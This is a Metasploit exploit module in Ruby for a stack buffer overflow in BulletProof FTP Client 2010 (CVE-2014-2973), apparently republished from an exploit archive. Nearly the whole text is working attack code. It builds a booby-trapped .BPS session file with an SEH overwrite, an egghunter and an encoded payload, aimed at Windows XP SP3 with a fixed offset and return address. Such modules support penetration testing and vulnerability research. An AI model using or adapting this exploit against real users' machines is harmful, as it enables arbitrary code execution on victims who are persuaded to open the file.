BulletProof FTP Client – BPS Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'BulletProof FTP Client BPS Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in BulletProof FTP Client 2010, caused by an overly long hostname. By persuading the victim to open a specially-crafted .BPS file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gabor Seljan' ], 'References' => [ [ 'EDB', '34162' ], [ 'EDB', '34540' ], [ 'EDB', '35449' ], [ 'OSVDB', '109547' ], [ 'CVE', '2014-2973' ], ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x1a", 'Space' => 2000 }, 'Targets' => [ [ 'Windows XP SP3', { 'Offset' => 89, 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll] } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 24 2014', 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps']) ], self.class) end def exploit eggoptions = { :checksum => true, :eggtag => 'w00t' } hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n" sploit << rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter + "\r\n" # FTP Server HOST / IP sploit << rand_text_numeric(5) + "\r\n" # Port number sploit << egg + "\r\n" # Login name sploit << rand_text_alpha(8) + "\r\n" # Login password # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(sploit) end end |